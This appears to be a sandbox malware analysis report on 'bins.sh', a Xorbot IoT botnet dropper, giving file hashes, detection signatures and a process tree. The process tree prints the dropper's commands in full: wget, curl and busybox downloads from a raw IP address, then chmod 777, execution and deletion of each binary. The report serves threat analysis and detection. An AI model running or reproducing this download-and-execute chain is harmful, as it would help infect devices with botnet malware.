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Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04/01/2025, 20:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    24b2ac3e59f5d959842fd55121d3bdc9

  • SHA1

    763ee9168932808f0f910a07eaec0cb840d640ad

  • SHA256

    1cfa441a888b8dcf421d19f836edc247355421e42d6f4e9adb579e3e55b2ff1e

  • SHA512

    f2945688e2a6c87ff40fb8dcdcf65ff6ed7b890107905f4c50fbe4c37962d2b8a4cd01f0912bc280e6ec54aa2375258344c2b6c959845d070e80d90c741903e0

  • SSDEEP

    96:PC2UJJSHA2U0Wxt3tr3f8czKoMEn3nXqC2UJJxmLAnqU0Wxt6Lkr3f8c9gOrB2X9:NHDU0Wxt3hKoMEn3nwU0WxtwoMEn3I

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://66.63.187.225/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          ./3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://66.63.187.225/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • Writes file to tmp directory
            PID:748
          • /bin/chmod
            chmod 777 uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • File and Directory Permissions Modification
            PID:755
          • /tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            ./uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
            • Executes dropped EXE
            PID:757
          • /bin/rm
            rm uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
            2⤵
              PID:762
            • /usr/bin/wget
              wget http://66.63.187.225/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • Writes file to tmp directory
              PID:764
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:795
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • Writes file to tmp directory
              PID:796
            • /bin/chmod
              chmod 777 4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • File and Directory Permissions Modification
              PID:797
            • /tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              ./4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
              • Executes dropped EXE
              PID:798
            • /bin/rm
              rm 4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
              2⤵
                PID:800
              • /usr/bin/wget
                wget http://66.63.187.225/bins/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq
                2⤵
                • Writes file to tmp directory
                PID:801

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

              Filesize

              98KB

              MD5

              5141342d0df8699fa32a6b066a0c592e

              SHA1

              8157673225bd5182f16215e2aa823a25ca2d4fbc

              SHA256

              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

              SHA512

              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

            • /tmp/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc

              Filesize

              151KB

              MD5

              6c583043d91c55aa470c08c87058e917

              SHA1

              abf65a5b9bba69980278ad09356e53de8bb89439

              SHA256

              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

              SHA512

              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

            • /tmp/TWi73DcRNjcub8IGqwC3UZ8QzfTlbmYzVq

              Filesize

              47KB

              MD5

              65d74f1aee66205921a07f701af16287

              SHA1

              c011688eb0a4e7d4cba740fd9d2ac452ec40a4a5

              SHA256

              cdaf31e937c11a3e76a62656efdcdcde89c5d898aaab5afdd5a8e9f93aaf259b

              SHA512

              edc8d199a687c4541d2b10aca59bfdc22e949318a3100ee60a0bc459d771f151210831a833bc42df933ec0c60607174b55773469d0e9ca70b5bee135a00ef0f6

            • /tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW

              Filesize

              119KB

              MD5

              1b166b95f9cb4b079ef1b9ec8363ddf3

              SHA1

              0d8eb08add467b3b5474f9b25909297fe7c2839c

              SHA256

              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

              SHA512

              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925